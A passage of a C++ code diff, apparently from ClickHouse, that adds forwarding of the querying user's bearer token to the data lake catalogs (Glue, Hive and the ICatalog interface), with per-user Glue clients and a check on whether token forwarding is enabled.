GlueCatalog::getTables() const +DB::Names GlueCatalog::getTables(const DB::ForwardedAuthTokenPtr & auth_token) const { - auto databases = getDatabases(""); + auto client = getClient(auth_token); + auto databases = getDatabases(client, ""); DB::Names result; for (const auto & database : databases) { - auto tables_in_database = getTablesForDatabase(database); + auto tables_in_database = getTablesForDatabase(client, database); result.insert(result.end(), tables_in_database.begin(), tables_in_database.end()); } return result; } -bool GlueCatalog::existsTable(const std::string & database_name, const std::string & table_name) const +bool GlueCatalog::existsTable(const std::string & database_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { + auto client = getClient(auth_token); + if (!isNamespaceAllowed(database_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", database_name); @@ -411,7 +524,7 @@ bool GlueCatalog::existsTable(const std::string & database_name, const std::stri ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogGetTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogGetTableMicroseconds); - auto outcome = glue_client->GetTable(request); + auto outcome = client.client->GetTable(request); return outcome.IsSuccess(); } @@ -421,6 +534,8 @@ bool GlueCatalog::tryGetTableMetadata( DB::ContextPtr context_, TableMetadata & result) const { + auto client = getClient(getForwardedAuthToken(context_)); + if (!isNamespaceAllowed(database_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", database_name); @@ -432,7 +547,7 @@ bool GlueCatalog::tryGetTableMetadata( { ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogGetTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogGetTableMicroseconds); - outcome = glue_client->GetTable(request); + outcome = client.client->GetTable(request); } if (outcome.IsSuccess()) { @@ -458,7 +573,7 @@ bool GlueCatalog::tryGetTableMetadata( } if (result.requiresCredentials()) - setCredentials(result); + setCredentials(client, result); auto setup_specific_properties = [&] { @@ -473,7 +588,7 @@ bool GlueCatalog::tryGetTableMetadata( if (!location_with_slash.ends_with('/')) location_with_slash += '/'; - String resolved_metadata_path = resolveMetadataPathFromTableLocation(location_with_slash, result); + String resolved_metadata_path = resolveMetadataPathFromTableLocation(client, location_with_slash, result); if (resolved_metadata_path.empty()) { result.setTableIsNotReadable(fmt::format("Could not determine metadata_location of table `{}`. ", @@ -518,7 +633,7 @@ bool GlueCatalog::tryGetTableMetadata( { if (!result.requiresDataLakeSpecificProperties()) setup_specific_properties(); - column_type = getActualTimestampType(column.GetName(), result, column_type); + column_type = getActualTimestampType(client, column.GetName(), result, column_type); } schema.push_back({column.GetName(), getType(column_type, can_be_nullable, getContext())}); @@ -535,7 +650,7 @@ bool GlueCatalog::tryGetTableMetadata( auto table_specific_properties = result.getDataLakeSpecificProperties(); if (table_specific_properties.has_value() && !table_specific_properties->iceberg_metadata_file_location.empty()) { - auto metadata_object = getOrFetchMetadataObject(table_specific_properties->iceberg_metadata_file_location, result); + auto metadata_object = getOrFetchMetadataObject(client, table_specific_properties->iceberg_metadata_file_location, result); const bool allow_geo_parser = getContext()->getSettingsRef()[DB::Setting::allow_experimental_geo_types_in_iceberg].value; auto schema_processor = DB::Iceberg::IcebergSchemaProcessor(context_, allow_geo_parser); @@ -577,13 +692,13 @@ void GlueCatalog::getTableMetadata( } } -void GlueCatalog::setCredentials(TableMetadata & metadata) const +void GlueCatalog::setCredentials(const AuthenticatedClient & client, TableMetadata & metadata) const { auto storage_type = parseStorageTypeFromLocation(metadata.getLocation()); if (storage_type == StorageType::S3) { - auto credentials = credentials_provider->GetAWSCredentials(); + auto credentials = client.credentials_provider->GetAWSCredentials(); auto s3_creds = std::make_shared(credentials.GetAWSAccessKeyId(), credentials.GetAWSSecretKey(), credentials.GetSessionToken()); metadata.setStorageCredentials(s3_creds); } @@ -594,7 +709,8 @@ void GlueCatalog::setCredentials(TableMetadata & metadata) const } } -ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCallback(const DB::StorageID & storage_id) +ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) { /// The AWS SDK credentials provider chain (instance profile, STS assume-role, /// web-identity, etc.) refreshes its cached credentials internally before @@ -604,7 +720,10 @@ ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCal /// S3 client is pinned to a snapshot that goes stale on long reads. This /// callback re-asks the same provider for current credentials each time /// `ReadBufferFromS3` reports an `ExpiredToken`, letting the read recover. - return [this, storage_id]() -> std::shared_ptr + /// Resolved now, because the callback outlives the query context. + auto credentials_provider = getClient(auth_token).credentials_provider; + + return [this, storage_id, credentials_provider]() -> std::shared_ptr { LOG_DEBUG(log, "Refreshing AWS credentials for {} after expired token", storage_id.getNameForLogs()); auto credentials = credentials_provider->GetAWSCredentials(); @@ -615,22 +734,24 @@ ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCal }; } -bool GlueCatalog::empty() const +bool GlueCatalog::empty(const DB::ForwardedAuthTokenPtr & auth_token) const { - auto all_databases = getDatabases(""); + auto client = getClient(auth_token); + auto all_databases = getDatabases(client, ""); for (const auto & db : all_databases) { - if (!getTablesForDatabase(db, /* limit = */ 1).empty()) + if (!getTablesForDatabase(client, db, /* limit = */ 1).empty()) return false; } return true; } -Poco::JSON::Object::Ptr GlueCatalog::getOrFetchMetadataObject(const String & metadata_uri, const TableMetadata & table_metadata) const +Poco::JSON::Object::Ptr GlueCatalog::getOrFetchMetadataObject( + const AuthenticatedClient & client, const String & metadata_uri, const TableMetadata & table_metadata) const { auto [value, _] = metadata_objects.getOrSet(metadata_uri, [&]() { - auto [object_storage, bucket_name, metadata_path] = createObjectStorageForEarlyTableAccess(metadata_uri, table_metadata); + auto [object_storage, bucket_name, metadata_path] = createObjectStorageForEarlyTableAccess(client, metadata_uri, table_metadata); auto compression_method = DB::Iceberg::getCompressionMethodFromMetadataFile(metadata_uri); auto metadata_object = DB::Iceberg::getMetadataJSONObject( metadata_path, object_storage, nullptr, getContext(), log, compression_method, std::nullopt); @@ -639,13 +760,17 @@ Poco::JSON::Object::Ptr GlueCatalog::getOrFetchMetadataObject(const String & met return *value; } -String GlueCatalog::getActualTimestampType(const String & column_name, const TableMetadata & table_metadata, const String & glue_column_type) const +String GlueCatalog::getActualTimestampType( + const AuthenticatedClient & client, + const String & column_name, + const TableMetadata & table_metadata, + const String & glue_column_type) const { auto table_specific_properties = table_metadata.getDataLakeSpecificProperties(); if (!table_specific_properties.has_value()) throw DB::Exception(DB::ErrorCodes::BAD_ARGUMENTS, "Failed to read table metadata, reason why table is unreadable: {}", table_metadata.getReasonWhyTableIsUnreadable()); - auto metadata_object = getOrFetchMetadataObject(table_specific_properties->iceberg_metadata_file_location, table_metadata); + auto metadata_object = getOrFetchMetadataObject(client, table_specific_properties->iceberg_metadata_file_location, table_metadata); return resolveTimestampTypeFromMetadata(metadata_object, column_name, glue_column_type); } @@ -674,7 +799,8 @@ String GlueCatalog::resolveTimestampTypeFromMetadata( return glue_column_type == "timestamp_nano" ? "timestamp_ns" : "timestamp"; } -GlueCatalog::ObjectStorageWithPath GlueCatalog::createObjectStorageForEarlyTableAccess(const String & s3_location, const TableMetadata & table_metadata) const +GlueCatalog::ObjectStorageWithPath GlueCatalog::createObjectStorageForEarlyTableAccess( + const AuthenticatedClient & client, const String & s3_location, const TableMetadata & table_metadata) const { DB::ASTStorage * storage = table_engine_definition->as(); DB::ASTs args = storage->engine->arguments->children; @@ -693,7 +819,7 @@ GlueCatalog::ObjectStorageWithPath GlueCatalog::createObjectStorageForEarlyTable } else { - auto credentials = credentials_provider->GetAWSCredentials(); + auto credentials = client.credentials_provider->GetAWSCredentials(); DataLake::S3Credentials(credentials.GetAWSAccessKeyId(), credentials.GetAWSSecretKey(), credentials.GetSessionToken()).addCredentialsToEngineArgs(args); } } @@ -726,9 +852,10 @@ GlueCatalog::ObjectStorageWithPath GlueCatalog::createObjectStorageForEarlyTable return {object_storage, bucket_name, table_path}; } -String GlueCatalog::resolveMetadataPathFromTableLocation(const String & table_location, const TableMetadata & table_metadata) const +String GlueCatalog::resolveMetadataPathFromTableLocation( + const AuthenticatedClient & client, const String & table_location, const TableMetadata & table_metadata) const { - auto [object_storage, bucket_name, table_path] = createObjectStorageForEarlyTableAccess(table_location, table_metadata); + auto [object_storage, bucket_name, table_path] = createObjectStorageForEarlyTableAccess(client, table_location, table_metadata); auto storage_settings = std::make_shared(); storage_settings->loadFromSettingsChanges(settings.allChanged()); @@ -749,8 +876,10 @@ String GlueCatalog::resolveMetadataPathFromTableLocation(const String & table_lo } } -void GlueCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & /*location*/) const +void GlueCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & /*location*/, const DB::ForwardedAuthTokenPtr & auth_token) const { + auto client = getClient(auth_token); + Aws::Glue::Model::CreateDatabaseRequest create_request; Aws::Glue::Model::DatabaseInput db_input; db_input.SetName(namespace_name); @@ -758,7 +887,7 @@ void GlueCatalog::createNamespaceIfNotExists(const String & namespace_name, cons ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogCreateDatabase); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogCreateDatabaseMicroseconds); - auto outcome = glue_client->CreateDatabase(create_request); + auto outcome = client.client->CreateDatabase(create_request); if (!outcome.IsSuccess() && outcome.GetError().GetErrorType() != Aws::Glue::GlueErrors::ALREADY_EXISTS) { throw DB::Exception( @@ -768,8 +897,10 @@ void GlueCatalog::createNamespaceIfNotExists(const String & namespace_name, cons } } -void GlueCatalog::createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content) const +void GlueCatalog::createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const { + auto client = getClient(auth_token); + if (!isNamespaceAllowed(namespace_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Failed to create table {}, namespace {} is filtered by `namespaces` database parameter", @@ -811,7 +942,7 @@ void GlueCatalog::createTable(const String & namespace_name, const String & tabl { ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogCreateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogCreateTableMicroseconds); - response = glue_client->CreateTable(request); + response = client.client->CreateTable(request); } if (!response.IsSuccess()) @@ -822,8 +953,11 @@ bool GlueCatalog::updateTableInGlue( const String & namespace_name, const String & table_name, const String & new_metadata_path, + const DB::ForwardedAuthTokenPtr & auth_token, const std::vector & columns) const { + auto client = getClient(auth_token); + Aws::Glue::Model::UpdateTableRequest request; request.SetDatabaseName(namespace_name); @@ -859,7 +993,7 @@ bool GlueCatalog::updateTableInGlue( { ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogUpdateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogUpdateTableMicroseconds); - response = glue_client->UpdateTable(request); + response = client.client->UpdateTable(request); } if (!response.IsSuccess()) @@ -868,9 +1002,9 @@ bool GlueCatalog::updateTableInGlue( return true; } -bool GlueCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr /*new_snapshot*/) const +bool GlueCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr /*new_snapshot*/, const DB::ForwardedAuthTokenPtr & auth_token) const { - return updateTableInGlue(namespace_name, table_name, new_metadata_path); + return updateTableInGlue(namespace_name, table_name, new_metadata_path, auth_token); } bool GlueCatalog::updateSchema( @@ -880,16 +1014,19 @@ bool GlueCatalog::updateSchema( Poco::JSON::Object::Ptr new_schema, Int32 /*previous_schema_id*/, Int32 /*new_last_column_id*/, - Poco::JSON::Object::Ptr /*metadata*/) const + Poco::JSON::Object::Ptr /*metadata*/, + const DB::ForwardedAuthTokenPtr & auth_token) const { std::vector columns; if (new_schema) columns = icebergSchemaToGlueColumns(new_schema); - return updateTableInGlue(namespace_name, table_name, new_metadata_path, columns); + return updateTableInGlue(namespace_name, table_name, new_metadata_path, auth_token, columns); } -void GlueCatalog::dropTable(const String & namespace_name, const String & table_name) const +void GlueCatalog::dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { + auto client = getClient(auth_token); + if (!isNamespaceAllowed(namespace_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Failed to drop table {}, namespace {} is filtered by `namespaces` database parameter", @@ -904,7 +1041,7 @@ void GlueCatalog::dropTable(const String & namespace_name, const String & table_ { ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogDropTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeGlueCatalogDropTableMicroseconds); - response = glue_client->DeleteTable(request); + response = client.client->DeleteTable(request); } if (!response.IsSuccess()) diff --git a/src/Databases/DataLake/GlueCatalog.h b/src/Databases/DataLake/GlueCatalog.h index 4722bcec7f54..d8b18e56a163 100644 --- a/src/Databases/DataLake/GlueCatalog.h +++ b/src/Databases/DataLake/GlueCatalog.h @@ -12,6 +12,8 @@ #include #include + +#include #include namespace Aws::Glue @@ -38,11 +40,11 @@ class GlueCatalog final : public ICatalog, private DB::WithContext ~GlueCatalog() override; - bool empty() const override; + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & database_name, const std::string & table_name) const override; + bool existsTable(const std::string & database_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & database_name, @@ -50,6 +52,10 @@ class GlueCatalog final : public ICatalog, private DB::WithContext DB::ContextPtr context_, TableMetadata & result) const override; + bool supportsUserTokenForwarding() const override { return true; } + + void onTokenForwardingDisabled() const override { user_clients.clear(); } + bool tryGetTableMetadata( const std::string & database_name, const std::string & table_name, @@ -67,11 +73,11 @@ class GlueCatalog final : public ICatalog, private DB::WithContext return DB::DatabaseDataLakeCatalogType::GLUE; } - void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content) const override; + void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const override; - void createNamespaceIfNotExists(const String & namespace_name, const String & location) const override; + void createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot) const override; + bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const override; bool updateSchema( const String & namespace_name, @@ -80,15 +86,17 @@ class GlueCatalog final : public ICatalog, private DB::WithContext Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata = nullptr) const override; + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const override; - void dropTable(const String & namespace_name, const String & table_name) const override; + void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; /// Returns a callback that re-vends fresh AWS credentials from the configured /// credentials provider chain. Invoked by `ReadBufferFromS3` when an S3 call /// fails with `ExpiredToken`, so that a long-running read can recover without /// the user having to restart the query. - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & storage_id) override; + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; /// Resolves the precise Iceberg timestamp type for `column_name` by searching the current schema /// in the Iceberg `metadata_object`. Falls back to `"timestamp_ns"` when `glue_column_type` is @@ -99,9 +107,23 @@ class GlueCatalog final : public ICatalog, private DB::WithContext const String & glue_column_type); private: - std::unique_ptr glue_client; + struct AuthenticatedClient + { + std::shared_ptr client; + std::shared_ptr credentials_provider; + }; + + /// Exactly one of the two is set, depending on `oauth_forward_user_token`. + AuthenticatedClient service_client; + std::function make_user_client; + + /// Keyed on the token fingerprint. + static constexpr size_t user_client_cache_max_entries = 1024; + mutable DB::CacheBase user_clients; + + AuthenticatedClient getClient(const DB::ForwardedAuthTokenPtr & auth_token) const; + const LoggerPtr log; - std::shared_ptr credentials_provider; std::string region; CatalogSettings settings; DB::ASTPtr table_engine_definition; @@ -109,16 +131,21 @@ class GlueCatalog final : public ICatalog, private DB::WithContext bool isNamespaceAllowed(const std::string & namespace_) const; - DataLake::ICatalog::Namespaces getDatabases(const std::string & prefix, size_t limit = 0) const; - DB::Names getTablesForDatabase(const std::string & db_name, size_t limit = 0) const; - void setCredentials(TableMetadata & metadata) const; + DataLake::ICatalog::Namespaces getDatabases(const AuthenticatedClient & client, const std::string & prefix, size_t limit = 0) const; + DB::Names getTablesForDatabase(const AuthenticatedClient & client, const std::string & db_name, size_t limit = 0) const; + void setCredentials(const AuthenticatedClient & client, TableMetadata & metadata) const; /// The Glue catalog does not store detailed information about the types of timestamp columns, such as whether the column is timestamp or timestamptz. /// This method allows to clarify the actual type of the timestamp column. /// `glue_column_type` is the raw Glue type (`"timestamp"` or `"timestamp_nano"`) used as a fallback when the column is not found in Iceberg metadata. - String getActualTimestampType(const String & column_name, const TableMetadata & table_metadata, const String & glue_column_type) const; + String getActualTimestampType( + const AuthenticatedClient & client, + const String & column_name, + const TableMetadata & table_metadata, + const String & glue_column_type) const; - String resolveMetadataPathFromTableLocation(const String & table_location, const TableMetadata & table_metadata) const; + String resolveMetadataPathFromTableLocation( + const AuthenticatedClient & client, const String & table_location, const TableMetadata & table_metadata) const; struct ObjectStorageWithPath { @@ -127,11 +154,13 @@ class GlueCatalog final : public ICatalog, private DB::WithContext String table_path; /// Path within bucket }; - ObjectStorageWithPath createObjectStorageForEarlyTableAccess(const String & s3_location, const TableMetadata & table_metadata) const; + ObjectStorageWithPath createObjectStorageForEarlyTableAccess( + const AuthenticatedClient & client, const String & s3_location, const TableMetadata & table_metadata) const; /// Fetches and caches the parsed Iceberg metadata JSON for `metadata_uri`. /// Returns the cached object on subsequent calls for the same URI. - Poco::JSON::Object::Ptr getOrFetchMetadataObject(const String & metadata_uri, const TableMetadata & table_metadata) const; + Poco::JSON::Object::Ptr getOrFetchMetadataObject( + const AuthenticatedClient & client, const String & metadata_uri, const TableMetadata & table_metadata) const; /// Shared implementation for updateMetadata / updateSchema that optionally /// sets StorageDescriptor columns in the Glue UpdateTable call. @@ -139,6 +168,7 @@ class GlueCatalog final : public ICatalog, private DB::WithContext const String & namespace_name, const String & table_name, const String & new_metadata_path, + const DB::ForwardedAuthTokenPtr & auth_token, const std::vector & columns = {}) const; mutable DB::CacheBase metadata_objects; diff --git a/src/Databases/DataLake/HiveCatalog.cpp b/src/Databases/DataLake/HiveCatalog.cpp index 5170e45171df..09aaf3817a60 100644 --- a/src/Databases/DataLake/HiveCatalog.cpp +++ b/src/Databases/DataLake/HiveCatalog.cpp @@ -141,7 +141,7 @@ void HiveCatalog::executeWithRetry(Func && func) const DB::ErrorCodes::NO_HIVEMETASTORE, "Hive Metastore connection failed after {} attempts. Last error: {}", max_retries, last_err_msg); } -bool HiveCatalog::empty() const +bool HiveCatalog::empty(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { fiu_do_on(DB::FailPoints::check_database_datalake_negative, { @@ -154,7 +154,7 @@ bool HiveCatalog::empty() const return result.empty(); } -DB::Names HiveCatalog::getTables() const +DB::Names HiveCatalog::getTables(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Names result; DB::Names databases; @@ -171,7 +171,7 @@ DB::Names HiveCatalog::getTables() const return result; } -bool HiveCatalog::existsTable(const std::string & namespace_name, const std::string & table_name) const +bool HiveCatalog::existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { Apache::Hadoop::Hive::Table table; diff --git a/src/Databases/DataLake/HiveCatalog.h b/src/Databases/DataLake/HiveCatalog.h index d626b73c3871..fa4f56b6975e 100644 --- a/src/Databases/DataLake/HiveCatalog.h +++ b/src/Databases/DataLake/HiveCatalog.h @@ -32,11 +32,12 @@ class HiveCatalog final : public ICatalog, private DB::WithContext ~HiveCatalog() override = default; - bool empty() const override; + /// Thrift Hive Metastore: no bearer token to forward, so the parameter is accepted and ignored. + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & namespace_name, const std::string & table_name) const override; + bool existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & namespace_name, diff --git a/src/Databases/DataLake/ICatalog.cpp b/src/Databases/DataLake/ICatalog.cpp index ddeeaa25afbf..b1a90b083b52 100644 --- a/src/Databases/DataLake/ICatalog.cpp +++ b/src/Databases/DataLake/ICatalog.cpp @@ -9,11 +9,15 @@ #include #include +#include +#include + namespace DB::ErrorCodes { extern const int NOT_IMPLEMENTED; extern const int LOGICAL_ERROR; extern const int BAD_ARGUMENTS; + extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; } namespace DB::DatabaseDataLakeSetting @@ -341,17 +345,47 @@ DB::SettingsChanges CatalogSettings::allChanged() const return changes; } -void ICatalog::createTable(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*metadata_content*/) const +void ICatalog::validateForwardedToken( + const DB::ContextPtr & context, const DB::ForwardedAuthTokenPtr & auth_token, const std::string & catalog_description) const +{ + /// `enable_token_forwarding` is hot-reloadable, so re-read it per request rather than trust + /// the decision `Session::authenticate` made: otherwise an operator turning it off would keep + /// forwarding the token of every already-authenticated session until the server restarts. + /// Checked before the token itself, because the switch is why a session has no token. + if (!context->getGlobalContext()->getAccessControl().isTokenForwardingEnabled()) + { + onTokenForwardingDisabled(); + + throw DB::Exception( + DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, + "Catalog `{}` is configured with `oauth_forward_user_token = 1`, but the server-level " + "`enable_token_forwarding` setting is off, so the querying user's token cannot be " + "presented to the catalog. Set it to `1` and reconnect, or recreate the database " + "without `oauth_forward_user_token`.", + catalog_description); + } + + if (!auth_token || auth_token->token.empty()) + throw DB::Exception( + DB::ErrorCodes::CATALOG_USER_TOKEN_NOT_AVAILABLE, + "Catalog `{}` is configured with `oauth_forward_user_token = 1`, but this session " + "carries no bearer token. Authenticate with a token (an `Authorization: Bearer` HTTP " + "header, or `--jwt` for the native protocol), or recreate the database without " + "`oauth_forward_user_token`.", + catalog_description); +} + +void ICatalog::createTable(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*metadata_content*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "createTable is not implemented"); } -void ICatalog::createNamespaceIfNotExists(const String & /*namespace_name*/, const String & /*location*/) const +void ICatalog::createNamespaceIfNotExists(const String & /*namespace_name*/, const String & /*location*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "createNamespaceIfNotExists is not implemented"); } -bool ICatalog::updateMetadata(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*new_snapshot*/) const +bool ICatalog::updateMetadata(const String & /*namespace_name*/, const String & /*table_name*/, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr /*new_snapshot*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "updateMetadata is not implemented"); } @@ -363,17 +397,19 @@ bool ICatalog::updateSchema( Poco::JSON::Object::Ptr /*new_schema*/, Int32 /*previous_schema_id*/, Int32 /*new_last_column_id*/, - Poco::JSON::Object::Ptr /*metadata*/) const + Poco::JSON::Object::Ptr /*metadata*/, + const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "updateSchema is not implemented"); } -void ICatalog::dropTable(const String & /*namespace_name*/, const String & /*table_name*/) const +void ICatalog::dropTable(const String & /*namespace_name*/, const String & /*table_name*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "dropTable is not implemented"); } -ICatalog::PreparedSettingsChangesPtr ICatalog::prepareSettingsChanges(const DB::SettingsChanges & /*changes*/) +ICatalog::PreparedSettingsChangesPtr ICatalog::prepareSettingsChanges( + const DB::SettingsChanges & /*changes*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) { throw DB::Exception(DB::ErrorCodes::NOT_IMPLEMENTED, "Settings of a catalog of this type cannot be altered"); } diff --git a/src/Databases/DataLake/ICatalog.h b/src/Databases/DataLake/ICatalog.h index 9cb18c15177b..431b12d75238 100644 --- a/src/Databases/DataLake/ICatalog.h +++ b/src/Databases/DataLake/ICatalog.h @@ -1,5 +1,6 @@ #pragma once #include +#include #include #include #include @@ -162,6 +163,7 @@ struct CatalogSettings String aws_role_arn; String aws_role_session_name; String aws_external_id; + bool forward_user_token = false; DB::SettingsChanges allChanged() const; }; @@ -179,17 +181,24 @@ class ICatalog virtual DB::DatabaseDataLakeCatalogType getCatalogType() const = 0; virtual ~ICatalog() = default; + /// Every method takes the token of the user on whose behalf the catalog is contacted, so that + /// a catalog which forwards it (currently only `RestCatalog`) authenticates as that user + /// instead of as the shared service principal. Mandatory rather than defaulted: a default + /// argument on a virtual resolves by static type. `getTableMetadata`/`tryGetTableMetadata` + /// take the token from their `ContextPtr` instead. Catalogs that cannot forward ignore it. + /// Does catalog have any tables? - virtual bool empty() const = 0; + virtual bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const = 0; /// Fetch tables' names list. /// Contains full namespaces in names. - virtual DB::Names getTables() const = 0; + virtual DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const = 0; /// Check that a table exists in a given namespace. virtual bool existsTable( const std::string & namespace_naem, - const std::string & table_name) const = 0; + const std::string & table_name, + const DB::ForwardedAuthTokenPtr & auth_token) const = 0; /// Get table metadata in the given namespace. /// Throw exception if table does not exist. @@ -214,13 +223,13 @@ class ICatalog /// Creates new table in catalog. Callers must ensure the namespace exists before /// writing any table files to storage: a catalog that shares its storage view with /// the data refuses to create a namespace over a plain directory those files create. - virtual void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content) const; + virtual void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Creates the namespace unless it already exists. - virtual void createNamespaceIfNotExists(const String & namespace_name, const String & location) const; + virtual void createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Updates metadata in catalog. - virtual bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot) const; + virtual bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Commit a schema evolution (ADD/DROP/MODIFY/RENAME COLUMN) to the catalog. /// `new_metadata_path` is the path of the freshly written `vN.metadata.json`; it is used by @@ -236,10 +245,11 @@ class ICatalog Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata = nullptr) const; + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const; /// Drop table from catalog. - virtual void dropTable(const String & namespace_name, const String & table_name) const; + virtual void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const; /// Does the catalog support transactions or anything like that? /// For example, the Iceberg REST catalog supports atomic operations "compare if snapshot X is equal to" and "add new snapshot Y". @@ -247,11 +257,22 @@ class ICatalog /// The Glue catalog does not support such operation. virtual bool isTransactional() const { return false; } - virtual CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & /*storage_id*/) + /// The returned lambda is stored inside the object storage and invoked long after the query + /// context is gone, so it takes the token rather than a `ContextPtr`. + virtual CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & /*storage_id*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) { return std::nullopt; } + /// Whether this catalog can authenticate as the querying user rather than as the configured + /// service principal. The Iceberg REST catalog and Glue can. + virtual bool supportsUserTokenForwarding() const { return false; } + + /// Called by `validateForwardedToken` before it throws, to drop artifacts minted from user + /// tokens. + virtual void onTokenForwardingDisabled() const {} + virtual void setVendedCredentialsCacheTTL(std::chrono::seconds /*ttl*/) {} /// Result of `prepareSettingsChanges`: the new catalog state built off to the side, @@ -266,17 +287,25 @@ class ICatalog /// state without publishing anything (may throw, may do network I/O). The state /// becomes visible only after `commitSettingsChanges`, so the caller can persist /// the changes in between and abandon the prepared state on failure. - virtual PreparedSettingsChangesPtr 